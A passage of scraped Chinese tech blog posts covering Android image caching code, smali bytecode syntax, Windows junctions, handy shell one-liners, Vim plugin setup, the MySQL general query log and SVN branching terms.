((ActivityManager)context.getSystemService(Context.ACTIVITY_SERVICE)).getMemoryClass();\rint cacheSize = 1024 * 1024 * memClass / 4; //硬引用缓存容量，为系统可用内存的1/4\rmLruCache = new LruCache\u0026lt;String, Bitmap\u0026gt;(cacheSize) {\r@Override\rprotected int sizeOf(String key, Bitmap value) {\rif (value != null)\rreturn value.getRowBytes() * value.getHeight();\relse\rreturn 0;\r}\r@Override\rprotected void entryRemoved(boolean evicted, String key, Bitmap oldValue, Bitmap newValue) {\rif (oldValue != null)\r// 硬引用缓存容量满的时候，会根据LRU算法把最近没有被使用的图片转入此软引用缓存\rmSoftCache.put(key, new SoftReference(oldValue));\r}\r};\rmSoftCache = new LinkedHashMap\u0026lt;String, SoftReference\u0026gt;(SOFT_CACHE_SIZE, 0.75f, true) {\rprivate static final long serialVersionUID = 6040103833179403725L;\r@Override\rprotected boolean removeEldestEntry(Entry\u0026lt;String, SoftReference\u0026gt; eldest) {\rif (size() \u0026gt; SOFT_CACHE_SIZE){ return true; } return false; }\r};\r}\r/**\r* 从缓存中获取图片\r*/\rpublic Bitmap getBitmapFromCache(String url) {\rBitmap bitmap;\r//先从硬引用缓存中获取\rsynchronized (mLruCache) {\rbitmap = mLruCache.get(url);\rif (bitmap != null) {\r//如果找到的话，把元素移到LinkedHashMap的最前面，从而保证在LRU算法中是最后被删除\rmLruCache.remove(url);\rmLruCache.put(url, bitmap);\rreturn bitmap;\r}\r}\r//如果硬引用缓存中找不到，到软引用缓存中找\rsynchronized (mSoftCache) { SoftReference bitmapReference = mSoftCache.get(url);\rif (bitmapReference != null) {\rbitmap = bitmapReference.get();\rif (bitmap != null) {\r//将图片移回硬缓存\rmLruCache.put(url, bitmap);\rmSoftCache.remove(url);\rreturn bitmap;\r} else {\rmSoftCache.remove(url);\r}\r}\r}\rreturn null;\r} /**\r* 添加图片到缓存\r*/\rpublic void addBitmapToCache(String url, Bitmap bitmap) {\rif (bitmap != null) {\rsynchronized (mLruCache) {\rmLruCache.put(url, bitmap);\r}\r}\r}\rpublic void clearCache() {\rmSoftCache.clear();\r}\r} 文件缓存类：ImageFileCache\npublic class ImageFileCache {\rprivate static final String CACHDIR = \"ImgCach\";\rprivate static final String WHOLESALE_CONV = \".cach\";\rprivate static final int MB = 1024*1024;\rprivate static final int CACHE_SIZE = 10;\rprivate static final int FREE_SD_SPACE_NEEDED_TO_CACHE = 10;\rpublic ImageFileCache() {\r//清理文件缓存\rremoveCache(getDirectory());\r}\r/** 从缓存中获取图片 **/\rpublic Bitmap getImage(final String url) { final String path = getDirectory() + \"/\" + convertUrlToFileName(url);\rFile file = new File(path);\rif (file.exists()) {\rBitmap bmp = BitmapFactory.decodeFile(path);\rif (bmp == null) {\rfile.delete();\r} else {\rupdateFileTime(path);\rreturn bmp;\r}\r}\rreturn null;\r}\r/** 将图片存入文件缓存 **/\rpublic void saveBitmap(Bitmap bm, String url) {\rif (bm == null) {\rreturn;\r}\r//判断sdcard上的空间\rif (FREE_SD_SPACE_NEEDED_TO_CACHE \u0026gt; freeSpaceOnSd()) {\r//SD空间不足\rreturn;\r}\rString filename = convertUrlToFileName(url);\rString dir = getDirectory();\rFile dirFile = new File(dir);\rif (!dirFile.exists())\rdirFile.mkdirs();\rFile file = new File(dir +\"/\" + filename);\rtry {\rfile.createNewFile();\rOutputStream outStream = new FileOutputStream(file);\rbm.compress(Bitmap.CompressFormat.JPEG, 100, outStream);\routStream.flush();\routStream.close();\r} catch (FileNotFoundException e) {\rLog.w(\"ImageFileCache\", \"FileNotFoundException\");\r} catch (IOException e) {\rLog.w(\"ImageFileCache\", \"IOException\");\r}\r} /**\r* 计算存储目录下的文件大小，\r* 当文件总大小大于规定的CACHE_SIZE或者sdcard剩余空间小于FREE_SD_SPACE_NEEDED_TO_CACHE的规定\r* 那么删除40%最近没有被使用的文件\r*/\rprivate boolean removeCache(String dirPath) {\rFile dir = new File(dirPath);\rFile[] files = dir.listFiles();\rif (files == null) {\rreturn true;\r}\rif (!android.os.Environment.getExternalStorageState().equals(\randroid.os.Environment.MEDIA_MOUNTED)) {\rreturn false;\r}\rint dirSize = 0;\rfor (int i = 0; i \u0026lt; files.length; i++) { if (files[i].getName().contains(WHOLESALE_CONV)) { dirSize += files[i].length(); } } if (dirSize \u0026gt; CACHE_SIZE * MB || FREE_SD_SPACE_NEEDED_TO_CACHE \u0026gt; freeSpaceOnSd()) {\rint removeFactor = (int) ((0.4 * files.length) + 1);\rArrays.sort(files, new FileLastModifSort());\rfor (int i = 0; i \u0026lt; removeFactor; i++) {\rif (files[i].getName().contains(WHOLESALE_CONV)) {\rfiles[i].delete();\r}\r}\r}\rif (freeSpaceOnSd() \u0026lt;= CACHE_SIZE) {\rreturn false;\r}\rreturn true;\r}\r/** 修改文件的最后修改时间 **/\rpublic void updateFileTime(String path) {\rFile file = new File(path);\rlong newModifiedTime = System.currentTimeMillis();\rfile.setLastModified(newModifiedTime);\r}\r/** 计算sdcard上的剩余空间 **/\rprivate int freeSpaceOnSd() {\rStatFs stat = new StatFs(Environment.getExternalStorageDirectory().getPath());\rdouble sdFreeMB = ((double)stat.getAvailableBlocks() * (double) stat.getBlockSize()) / MB;\rreturn (int) sdFreeMB;\r} /** 将url转成文件名 **/\rprivate String convertUrlToFileName(String url) {\rString[] strs = url.split(\"/\");\rreturn strs[strs.length - 1] + WHOLESALE_CONV;\r}\r/** 获得缓存目录 **/\rprivate String getDirectory() {\rString dir = getSDPath() + \"/\" + CACHDIR;\rreturn dir;\r}\r/** 取SD卡路径 **/\rprivate String getSDPath() {\rFile sdDir = null;\rboolean sdCardExist = Environment.getExternalStorageState().equals(\randroid.os.Environment.MEDIA_MOUNTED); //判断sd卡是否存在\rif (sdCardExist) {\rsdDir = Environment.getExternalStorageDirectory(); //获取根目录\r}\rif (sdDir != null) {\rreturn sdDir.toString();\r} else {\rreturn \"\";\r}\r} /**\r* 根据文件的最后修改时间进行排序\r*/\rprivate class FileLastModifSort implements Comparator {\rpublic int compare(File arg0, File arg1) {\rif (arg0.lastModified() \u0026gt; arg1.lastModified()) {\rreturn 1;\r} else if (arg0.lastModified() == arg1.lastModified()) {\rreturn 0;\r} else {\rreturn -1;\r}\r}\r}\r} 从网络获取图片：\npublic class ImageGetFromHttp {\rprivate static final String LOG_TAG = \"ImageGetFromHttp\";\rpublic static Bitmap downloadBitmap(String url) {\rfinal HttpClient client = new DefaultHttpClient();\rfinal HttpGet getRequest = new HttpGet(url);\rtry {\rHttpResponse response = client.execute(getRequest);\rfinal int statusCode = response.getStatusLine().getStatusCode();\rif (statusCode != HttpStatus.SC_OK) {\rLog.w(LOG_TAG, \"Error \" + statusCode + \" while retrieving bitmap from \" + url);\rreturn null;\r}\rfinal HttpEntity entity = response.getEntity();\rif (entity != null) {\rInputStream inputStream = null;\rtry {\rinputStream = entity.getContent();\rFilterInputStream fit = new FlushedInputStream(inputStream);\rreturn BitmapFactory.decodeStream(fit);\r} finally {\rif (inputStream != null) {\rinputStream.close();\rinputStream = null;\r}\rentity.consumeContent();\r}\r}\r} catch (IOException e) {\rgetRequest.abort();\rLog.w(LOG_TAG, \"I/O error while retrieving bitmap from \" + url, e);\r} catch (IllegalStateException e) {\rgetRequest.abort();\rLog.w(LOG_TAG, \"Incorrect URL: \" + url);\r} catch (Exception e) {\rgetRequest.abort();\rLog.w(LOG_TAG, \"Error while retrieving bitmap from \" + url, e);\r} finally {\rclient.getConnectionManager().shutdown();\r}\rreturn null;\r}\r/*\r* An InputStream that skips the exact number of bytes provided, unless it reaches EOF.\r*/\rstatic class FlushedInputStream extends FilterInputStream {\rpublic FlushedInputStream(InputStream inputStream) {\rsuper(inputStream);\r}\r@Override\rpublic long skip(long n) throws IOException {\rlong totalBytesSkipped = 0L;\rwhile (totalBytesSkipped \u0026lt; n) {\rlong bytesSkipped = in.skip(n - totalBytesSkipped);\rif (bytesSkipped == 0L) {\rint b = read();\rif (b \u0026lt; 0) {\rbreak; // we reached EOF\r} else {\rbytesSkipped = 1; // we read one byte\r}\r}\rtotalBytesSkipped += bytesSkipped;\r}\rreturn totalBytesSkipped;\r}\r}\r} 最后，获取一张图片的流程就如下代码所示：\n/*** 获得一张图片,从三个地方获取,首先是内存缓存,然后是文件缓存,最后从网络获取 ***/\rpublic Bitmap getBitmap(String url) {\r// 从内存缓存中获取图片\rBitmap result = memoryCache.getBitmapFromCache(url);\rif (result == null) {\r// 文件缓存中获取\rresult = fileCache.getImage(url);\rif (result == null) {\r// 从网络获取\rresult = ImageGetFromHttp.downloadBitmap(url);\rif (result != null) {\rfileCache.saveBitmap(result, url);\rmemoryCache.addBitmapToCache(url, result);\r}\r} else {\r// 添加到内存缓存\rmemoryCache.addBitmapToCache(url, result);\r}\r}\rreturn result;\r} ","permalink":"https://hessian.cn/p/1074.html","summary":"转自：http://keegan-lee.diandian.com/post/2012-12-06/40047548955\n\u0026nbsp;\n如果每次加载同一张图片都要从网络获取，那代价实在太大了。所以同一张图片只要从网络获取一次就够了，然后在本地缓存起来，之后加载同一张图片时就从缓存中加载就可以了。从内存缓存读取图片是最快的，但是因为内存容量有限，所以最好再加上文件缓存。文件缓存空间也不是无限大的，容量越大读取效率越低，因此可以设置一个限定大小比如10M，或者限定保存时间比如一天。\n","title":"[转]Android技术积累：图片缓存管理"},{"content":"来源地址：http://bbs.pediy.com/showthread.php?t=151769\n参考资料：http://code.google.com/p/smali/wiki/Registers\ndalvik字节码有两种类型，原始类型和引用类型。对象和数组是引用类型，其它都是原始类型。\nV void，只能用于返回值类型\nZ boolean\nB byte\nS short\nC char\nI int\nJ long（64位）\nF float\nD double(64位)\n对象以Lpackage/name/ObjectName;的形式表示。前面的L表示这是一个对象类型，package/name/是该对象所在的 包，ObjectName是对象的名字，“;”表示对象名称的结束。相当于java中的package.name.ObjectName。例 如：Ljava/lang/String;相当于java.lang.String\n数组的表示形式\n [I——表示一个整型一维数组，相当于java中的int[]。\n 对于多维数组，只要增加[就行了。[[I相当于int[][]，[[[I相当于int[][][]。注意每一维的最多255个。\n 对象数组的表示：[Ljava/lang/String;表示一个String对象数组。\n方法\n表示形式：Lpackage/name/ObjectName;-\u0026gt;MethodName(III)Z\n Lpackage/name/ObjectName;表示类型，MethodName是方法名。III为参数（在此是3个整型参数），Z是返回类型（bool型）。\n 方法的参数是一个接一个的，中间没有隔开。\n一个更复杂的例子：\nmethod(I[[IILjava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;\n在java中则为：\nString method(int, int[][], int, String, Object[])\n字段\n表示形式：\nLpackage/name/ObjectName;-\u0026gt;FieldName:Ljava/lang/String;\n即包名，字段名和各字段类型。\n寄存器\n在dalvik字节码中，寄存器都是32位的，能够支持任何类型。64位类型（Long和Double型）用2个寄存器表示。\n有两种方式指定一个方法中有多少寄存器是可用的。.registers指令指定了方法中寄存器的总数。.locals指令表明了方法中非参寄存器的数量。\n方法的传参\n 当一个方法被调用的时候，方法的参数被置于最后N个寄存器中。如果一个方法有2个参数，5个寄存器（v0-v4），那么参数将置于最后2个寄存器——v3和v4。\n 非静态方法中的第一个参数总是调用该方法的对象。\n例如，非静态方法LMyObject;-\u0026gt;callMe(II)V有2个整型参数，另外还有一个隐含的LMyObject;参数，所以总共有3个参 数。假如在该方法中指定了5个寄存器（v0-v4），以.registers方式指定5个或以.locals方式指定2个（即2个local寄存器+3个 参数寄存器）。当该方法被调用的时候，调用该方法的对象（即this引用）存放在v2中，第一个整型参数存放在v3中，第二个整型参数存放在v4中。\n对于静态方法除了没有隐含的this参数外其它都一样。\n寄存器的命名方式\n有两种方式——V命名方式和P命名方式。P命名方式中的第一个寄存器就是方法中的第一个参数寄存器。在下表中我们用这两种命名方式来表示上一个例子中有5个寄存器和3个参数的方法。\nv0 第一个local register\nv1 第二个local register\nv2 p0 第一个parameter register\nv3 p1 第二个parameter register\nv4 p2 第三个parameter register\n你可以用任何一种方式来引用参数寄存器——他们没有任何差别。\n注意：baksmali默认对参数寄存器使用P命名方式。如果想使用V命名方式，可以使用-pl—no-parameter-registers选项。\n使用P命名方式是为了防止以后如果要在方法中增加寄存器，需要对参数寄存器重新进行编号的缺点。\nLong/Double值\nLong和double类型是64位的，需要2个寄存器（切记切记）。\n例如，对于非静态方法LMyObject;-\u0026gt;MyMethod(IJZ)V，参数分别是LMyObject;，int，long，bool。故该方法需要5个寄存器来存储参数。\np0 this\np1 I\np2,p3 J\np4 Z\n补充：\n# static fields 定义静态变量的标记\n# instance fields 定义实例变量的标记\n# direct methods 定义静态方法的标记\n# virtual methods 定义非静态方法的标记\n构造函数的返回类型为V，名字为\u0026lt;init\u0026gt;。\nif-eq p1, v0, :cond_8 表示如果p1和v0相等，则执行cond_8的流程：\n:cond_8\ninvoke-direct {p0}, Lcom/paul/test/a;-\u0026gt;d()V\n调用com.paul.test.a的d()方法\nif-ne p1, v0, :cond_b 表示不相等则执行cond_b的流程：\n:cond_b\nconst/4 v0, 0x0\ninvoke-virtual {p0, v0}, Lcom/paul/test/a;-\u0026gt;setPressed(Z)V\ninvoke-super {p0, p1, p2}, Landroid/view/View;-\u0026gt;onKeyUp(ILandroid/view/KeyEvent;)Z\nmove-result v0\n大概意思就是调用com.paul.test.a的setPressed方法，然后再调用父类View的onKeyUp方法，最后 return v0\n\u0026nbsp;\n举两个例子：\nsget-object v5, Lcom/google/youngandroid/runtime;-\u0026gt;Lit227:Lgnu/mapping/SimpleSymbol;\n获取com.google.youngandroid.runtime中的Lit227字段存入v5寄存器，相当于\ngnu.mapping.SimpleSymbol localVariable = com.google.youngandroid.runtime.Lit227;\nsput-object v0, Lcom/google/youngandroid/runtime;-\u0026gt;Lit78:Lkawa/lang/SyntaxTemplate;\nLikewise, this is setting the value of a static field. i.e.\n设置com.google.youngandroid.runtime.Lit78的值为v0寄存器中的 kawa.lang.SyntaxTemplate类型变量的值。相当于 com.google.youngandroid.runtime.Lit78 = kawa.lang.SyntaxTemplate localVariable;\n\u0026nbsp;\n","permalink":"https://hessian.cn/p/1068.html","summary":"来源地址：http://bbs.pediy.com/showthread.php?t=151769\n参考资料：http://code.google.com/p/smali/wiki/Registers\ndalvik字节码有两种类型，原始类型和引用类型。对象和数组是引用类型，其它都是原始类型。\nV void，只能用于返回值类型\nZ boolean\nB byte\nS short\nC char\nI int\nJ long（64位）\nF float\nD double(64位)\n对象以Lpackage/name/ObjectName;的形式表示。前面的L表示这是一个对象类型，package/name/是该对象所在的 包，ObjectName是对象的名字，“;”表示对象名称的结束。相当于java中的package.name.ObjectName。例 如：Ljava/lang/String;相当于java.lang.String\n","title":"[转]SMALI文件语法"},{"content":"其实在windows 2000以上的操作系统中已经支持了软链接技术，微软称为：Junction（结合点），只不过系统并没有内置用来创建软链接的工具，需要我们自己下载。\n下载地址：http://technet.microsoft.com/en-us/Sysinternals/Bb896768.aspx\n创建软链接：\njunction LinkDirectory ExistingDirectory 例如：\njunction d:\\newdir c:\\olddir 删除软链接\njunction -d c:\\Program-Files 参考资料：\nhttp://tilt.lib.tsinghua.edu.cn/node/480\n","permalink":"https://hessian.cn/p/1063.html","summary":"其实在windows 2000以上的操作系统中已经支持了软链接技术，微软称为：Junction（结合点），只不过系统并没有内置用来创建软链接的工具，需要我们自己下载。\n","title":"在Windows下创建符号链接（软链接）"},{"content":"via 你可能不知道的Shell | 酷壳 \u0026#8211; CoolShell.cn.\n\u0026nbsp;\nShell也叫做命令行界面，它是*nix操作系统下用户和计算机的交互界面。Shell这个词是指操作系统中提供访问内核服务的程序。\n这篇文章向大家介绍Shell一些非广为人知、但却实用有趣的知识，权当品尝shell主食后的甜点吧。\n先科普几个你可能不知道的事实： Shell几乎是和Unix操作系统一起诞生，第一个Unix Shell是肯·汤普逊（Ken Thompson）以Multics上的Shell为模范在1971年改写而成，并命名Thompson sh。即便是后来流行的bash（shell的一种变体），它的年龄实际上比当前流行的所有的Linux kernel都大，可谓在Linux系统上是先有Shell再有Kernel。 当前绝大部分*nix和MacOS操作系统里的默认的Shell都是bash，bash由Brian Fox在1987年创造，全称Bourne Again shell ( bash)。 你或许听说除了bash之外，还有Bourne shell ( sh)，Korn shell ( ksh)，C shell （包括 csh and tcsh），但是你知道这个星球上一共存在着大约50多种不同的shell么？想了解他们，请参考 http://www.freebsd.org/ports/shells.html。 每个月tiobe上都会给一个编程语言的排名，来显示各种语言的流行度。排名指数综合了全球范围内使用该语言的工程师人数、教学的课程数和第三方供应商数。截止至2012年11月份，tiobe公布的编程语言排行榜里，bash的指数是0.56%排名22位。如果算上它旗下的awk 0.21%和tcl 0.146%，大概就能排到14名。注意这里还不包括bash的同源的兄弟姐妹csh、ksh等，算上它们，shell家族有望接近前十。值得一提的是一直以来shell的排名就很稳定，不像某些“暴发户”语言，比如objective-c，这些语言的流行完全是因为当前Apple系的崛起，但这种热潮极有可能来得快去得更快。 全球最大的源代码仓库Github里，shell相关的项目数占到了8%，跻身前5和Java相当，可见在实战工程里，shell可谓宝刀不老。图片来源，参见这里\n再分享一些可能你不知道的shell用法和脚本，简单\u0026amp;强大！ 在阅读以下部分前，强烈建议读者打开一个shell实验，这些都不是shell教科书里的大路货哦：）\n!$\n!$是一个特殊的环境变量，它代表了上一个命令的最后一个字符串。如：你可能会这样：\n$mkdir mydir\n$mv mydir yourdir\n$cd yourdir\n可以改成：\n$mkdir mydir\n$mv !$ yourdir\n$cd !$ sudo !!\n以root的身份执行上一条命令 。\n场景举例：比如Ubuntu里用apt-get安装软件包的时候是需要root身份的，我们经常会忘记在apt-get前加sudo。每次不得不加上sudo再重新键入这行命令，这时可以很方便的用sudo !!完事。\n（陈皓注：在shell下，有时候你会输入很长的命令，你可以使用!xxx来重复最近的一次命令，比如，你以前输入过，vi /where/the/file/is, 下次你可以使用 !vi 重得上次最近一次的vi命令。） cd –\n回到上一次的目录 。\n场景举例：当前目录为/home/a，用cd ../b切换到/home/b。这时可以通过反复执行cd –命令在/home/a和/home/b之间来回方便的切换。\n（陈皓注：cd ~ 是回到自己的Home目录，cd ~user，是进入某个用户的Home目录） ‘ALT+.’ or ‘\u0026lt;ESC\u0026gt; .’\n热建alt+. 或 esc+. 可以把上次命令行的参数给重复出来。 ^old^new\n替换前一条命令里的部分字符串。\n场景：echo \"wanderful\"，其实是想输出echo \"wonderful\"。只需要^a^o就行了，对很长的命令的错误拼写有很大的帮助。（陈皓注：也可以使用 !!:gs/old/new） du -s * | sort -n | tail\n列出当前目录里最大的10个文件。 :w !sudo tee %\n在vi中保存一个只有root可以写的文件 date -d@1234567890\n时间截转时间 \u0026gt; file.txt\n创建一个空文件，比touch短。 mtr coolshell.cn\nmtr命令比traceroute要好。 在命令行前加空格，该命令不会进入history里。 echo “ls -l” | at midnight\n在某个时间运行某个命令。 curl -u user:pass -d status=”Tweeting from the shell” http://twitter.com/statuses/update.xml\n命令行的方式更新twitter。 curl -u username –silent “https://mail.google.com/mail/feed/atom” | perl -ne ‘print “\\t” if /\u0026lt;name\u0026gt;/; print “$2\\n” if /\u0026lt;(title|name)\u0026gt;(.*)\u0026lt;\\/\\1\u0026gt;/;’\n检查你的gmail未读邮件 ps aux | sort -nk +4 | tail\n列出头十个最耗内存的进程 man ascii\n显示ascii码表。\n场景：忘记ascii码表的时候还需要google么?尤其在天朝网络如此“顺畅”的情况下，就更麻烦在GWF多应用一次规则了，直接用本地的man ascii吧。 ctrl-x e\n快速启动你的默认编辑器（由变量$EDITOR设置）。 netstat –tlnp\n列出本机进程监听的端口号。（陈皓注：netstat -anop 可以显示侦听在这个端口号的进程） tail -f /path/to/file.log | sed '/^Finished: SUCCESS$/ q'\n当file.log里出现Finished: SUCCESS时候就退出tail，这个命令用于实时监控并过滤log是否出现了某条记录。 ssh user@server bash \u0026lt; /path/to/local/script.sh\n在远程机器上运行一段脚本。这条命令最大的好处就是不用把脚本拷到远程机器上。 ssh user@host cat /path/to/remotefile | diff /path/to/localfile \u0026#8211;\n比较一个远程文件和一个本地文件 net rpc shutdown -I ipAddressOfWindowsPC -U username%password\n远程关闭一台Windows的机器 screen -d -m -S some_name ping my_router\n后台运行一段不终止的程序，并可以随时查看它的状态。-d -m参数启动“分离”模式，-S指定了一个session的标识。可以通过-R命令来重新“挂载”一个标识的session。更多细节请参考screen用法 man screen。 wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com\n下载整个www.example.com网站。（注：别太过分，大部分网站都有防爬功能了：）） curl ifconfig.me\n当你的机器在内网的时候，可以通过这个命令查看外网的IP。 convert input.png -gravity NorthWest -background transparent -extent 720×200 output.png\n改一下图片的大小尺寸 lsof –i\n实时查看本机网络服务的活动状态。 vim scp://username@host//path/to/somefile\nvim一个远程文件 python -m SimpleHTTPServer\n一句话实现一个HTTP服务，把当前目录设为HTTP服务目录，可以通过http://localhost:8000访问 这也许是这个星球上最简单的HTTP服务器的实现了。 history | awk '{CMD[$2]++;count++;} END { for (a in CMD )print CMD[a] \" \" CMD[a]/count*100 \"% \" a }' | grep -v \"./\" | column -c3 -s \" \" -t | sort -nr | nl | head -n10\n(陈皓注：有点复杂了，history|awk ‘{print $2}’|awk ‘BEGIN {FS=”|”} {print $1}’|sort|uniq -c|sort -rn|head -10)\n这行脚本能输出你最常用的十条命令，由此甚至可以洞察你是一个什么类型的程序员。 tr -c “[:digit:]” ” ” \u0026lt; /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR=”1;32″ grep –color “[^ ]”\n想看看Marix的屏幕效果吗？（不是很像，但也很Cool!） 看不懂行代码？没关系，系统的学习一下*nix shell脚本吧，力荐《Linux命令行与Shell脚本编程大全》。\n最后还是那句Shell的至理名言：(陈皓注：下面的那个马克杯很不错啊，404null.com挺有意思的)\n“Where there is a shell，there is a way!”\nUnix Shell变色马克杯 参考文献：\nUnix Shell Wiki Github language ranking An introduction of Unix Shell history Tiobe Software http://www.commandlinefu.com/ ","permalink":"https://hessian.cn/p/1054.html","summary":"via 你可能不知道的Shell | 酷壳 \u0026#8211; CoolShell.cn.\n\u0026nbsp;\nShell也叫做命令行界面，它是*nix操作系统下用户和计算机的交互界面。Shell这个词是指操作系统中提供访问内核服务的程序。\n","title":"你可能不知道的Shell | 酷壳 – CoolShell.cn"},{"content":"参考文章：\n谁说Vim不是IDE？（一） 谁说Vim不是IDE？（二） 谁说Vim不是IDE？（三） \u0026nbsp;\n其实@池建强 大哥在他的《谁说Vim不是IDE？》中已经都已经说的很清楚了。我这篇博文就相当于个笔记和备忘，以后需要的时候可以快速的配置起一个好用的Vim环境。\n先来两张博主自己配置的截图\n\u0026nbsp;\n基本的vim设置 syn on \"语法支持\rset laststatus=2 \"始终显示状态栏\rset tabstop=2 \"一个制表符的长度\rset softtabstop=2 \"一个制表符的长度（可以大于tabstop）\rset shiftwidth=2 \"一个缩进的长度\rset expandtab \"使用空格替代制表符\rset smarttab \"智能制表符\rset autoindent \"自动缩进\rset smartindent \"只能缩进\rset number \"显示行号\rset ruler \"显示位置指示器\rset backupdir=/tmp \"设置备份文件目录\rset directory=/tmp \"设置临时文件目录\rset ignorecase \"检索时忽略大小写\rset hls \"检索时高亮显示匹配项\rset helplang=cn \"帮助系统设置为中文\rset foldmethod=syntax \"代码折叠 \u0026nbsp;\n常用的键绑定设置 我的设置里基本都是按我以前在Netbeans键位设置的，大部分快捷键都是调用的插件功能，所以使用前需要先把下面需要的插件安装了才行。\n\" 开关文件浏览器\rmap \u0026lt;D-1\u0026gt; :NERDTreeToggle \u0026lt;CR\u0026gt;\r\" 在文件浏览器中定位当前文件\rmap \u0026lt;D-!\u0026gt; :NERDTreeFind \u0026lt;CR\u0026gt;\r\" 关闭文件时同时关闭文件浏览器\rlet NERDTreeQuitOnOpen = 1\r\" 打开文件定位窗口\rnnoremap \u0026lt;slient\u0026gt; \u0026lt;D-R\u0026gt; :CommandT\u0026lt;CR\u0026gt;\r\" 打开最近打开的文件列表\rnnoremap \u0026lt;slient\u0026gt; \u0026lt;D-E\u0026gt; :CommandTBuffer\u0026lt;CR\u0026gt; \u0026nbsp;\n\u0026nbsp;\n插件管理器：pathogen 项目地址：\nhttps://github.com/tpope/vim-pathogen\n安装方法：\n在.vim文件夹下建立autoload和bundle目录 从下载地址获取pathogen.vim文件，将其复制到autoload目录下 在.vimrc文件中增加如下代码： call pathogen#infect() \u0026nbsp;\n文件浏览器：NERDTree 项目地址：\nhttps://github.com/scrooloose/nerdtree\n安装方法：\n进入.vim/bundle目录 执行git clone git://github.com/scrooloose/nerdtree.git 下载完成后，在bundle下会多出一个nerdtree的文件夹，所有相关插件都在该文件夹下 在Vim中运行:Helptags来生成NERDTree的在线帮助tags 快速定位文件：Command-T 项目地址：\nhttps://wincent.com/products/command-t\n安装方法：\n从下载地址下载最新版本的vba文件，目前最新版本是1.4，所以安装文件是command-t-1.4.vba 在~/.vim/bundle目录下创建文件夹command-t 用Vim打开command-t-1.4.vba 执行:UseVimball ~/.vim/bundle/command-t 进入ruby目录下编译C扩展 cd ~/.vim/bundle/command-t/ruby/command-t\rruby extconf.rb\rmake \u0026nbsp;\n状态栏美化：Powerline 项目地址：\nhttps://github.com/Lokaltog/vim-powerline\n安装方法：\n进入.vim/bundle目录 执行git clone git://github.com/Lokaltog/vim-powerline.git 在.vimrc中设置状态栏主题 \"powerline{\rset guifont=PowerlineSymbols\\ for\\ Powerline\rset nocompatible\rset t_Co=256\rlet g:Powerline_symbols = 'fancy'\r\"} 注意事项：\n使用Powerline需要在vimrc中设置 set laststatus=2 Powerline中的分隔符实际上是特殊字体，如果显示错误请下载修改过的字体：https://gist.github.com/1595572 \u0026nbsp;\n代码导航： Taglist 项目地址：\nhttp://vim.sourceforge.net/scripts/script.php?script_id=273\n安装方法：\n进入.vim/bundle目录 下载压缩包 wget http://vim.sourceforge.net/scripts/download_script.php?src_id=7701 解压压缩包 unzip taglist_45.zip mv taglist_45 taglist 在Vim中运行:Helptags来生成在线帮助tags 相关设置：\n\" TagList\rlet Tlist_Use_Right_Window = 1\rlet Tlist_Exit_OnlyWindow = 1\rlet Tlist_Show_One_File = 1\r\" Sort type 'name' or 'order'\rlet Tlist_Sort_Type = \"name\"\rlet Tlist_Compact_Format = 1\rlet g:tlist_php_settings = 'php;c:class;f:function'\rmap \u0026lt;D-7\u0026gt; :TlistToggle \u0026lt;CR\u0026gt; \u0026nbsp;\n代码自动完成：Neocomplcache \" Enable omni completion.\rautocmd FileType css setlocal omnifunc=csscomplete#CompleteCSS\rautocmd FileType html,markdown setlocal omnifunc=htmlcomplete#CompleteTags\rautocmd FileType javascript setlocal omnifunc=javascriptcomplete#CompleteJS\rautocmd FileType python setlocal omnifunc=pythoncomplete#Complete\rautocmd FileType xml setlocal omnifunc=xmlcomplete#CompleteTags\rautocmd FileType php setlocal omnifunc=xmlcomplete#CompletePHP ","permalink":"https://hessian.cn/p/1026.html","summary":"参考文章：\n谁说Vim不是IDE？（一） 谁说Vim不是IDE？（二） 谁说Vim不是IDE？（三） \u0026nbsp;\n其实@池建强 大哥在他的《谁说Vim不是IDE？》中已经都已经说的很清楚了。我这篇博文就相当于个笔记和备忘，以后需要的时候可以快速的配置起一个好用的Vim环境。\n","title":"让Vim更好用 for Mac OS X"},{"content":"我们在开发的时候经常经常遇到在程序中增加调试语句很麻烦的情况，这时候难免会想如果Mysql能看到我们执行了什么SQL语句就好了。\n实际上MySQL是有这个功能的，在MySQL 5.1的时候我们就可以通过mysqld的-l参数来启动mysql来记录查询日志。\n但是现在-l参数自5.1.12之后已经不推荐使用了，改为\u0026#8211;general_log\nAs of MySQL 5.1.12, as an alternative to \u0026#8211;log or -l, use \u0026#8211;general_log[={0|1}] to specify the initial general query log state. In this case, the default general query log file name is used. With no argument or an argument of 1, \u0026#8211;general_log enables the log. With an argument of 0, this option disables the log.\n\u0026nbsp;\n\u0026#8211;general_log 打开后日志默认会输出到你的data目录下，默认文件名是 hostname.log。hostname是你的机器名，在windows上貌似是localhost或者其他什么奇怪的名字吧。\n\u0026nbsp;\n如果服务器已经启动或者不是直接用mysqld启动服务器的怎么办呢？（运行时开关General Log） 执行下面两个SQL就可以开关日志\n打开日志\nSET GLOBAL general_log = 'ON'; 关闭日志\nSET GLOBAL general_log = 'OFF'; \u0026nbsp;\n配置文件可以设置General Log的开关吗？ 在配置文件中[mysqld]段增加下面一行\ngeneral_log = 1 如果需要指定日志文件路径\ngeneral_log_file = 文件路径 ","permalink":"https://hessian.cn/p/1018.html","summary":"我们在开发的时候经常经常遇到在程序中增加调试语句很麻烦的情况，这时候难免会想如果Mysql能看到我们执行了什么SQL语句就好了。\n实际上MySQL是有这个功能的，在MySQL 5.1的时候我们就可以通过mysqld的-l参数来启动mysql来记录查询日志。\n","title":"怎么打开/查看MySQL的SQL记录？"},{"content":"Trunk = 主干，包含所有开发代码 Branch = 分支其实是主干的copy（svn copy URL URL）。通常用来添加新功能、修改bug、创建发行版等。 Tag = 标记，通常用来做milestone标记，mark某个版本，比如bugfix前后的版本。 以上3个名词其实是版本管理中都概念，在svn中并没有对应功能实现。branch、tag实际上都是用svn copy实现。 感觉svn还是不太适合这种更新频繁的项目。 参考文章 SVN: How to structure your repository http://ariejan.net/2006/11/24/svn-how-to-structure-your-repository/ SVN: How to release software properly http://ariejan.net/2006/11/21/svn-how-to-release-software-properly/ Organizing, managing and deploying PHP projects in subversion (SVN) http://www.ericbieller.com/2011/02/04/organizing-managing-and-deploying-php-projects-in-subversion-svn/ ","permalink":"https://hessian.cn/p/1006.html","summary":"Trunk = 主干，包含所有开发代码 Branch = 分支其实是主干的copy（svn copy URL URL）。通常用来添加新功能、修改bug、创建发行版等。 Tag = 标记，通常用来做milestone标记，mark某个版本，比如bugfix前后的版本。 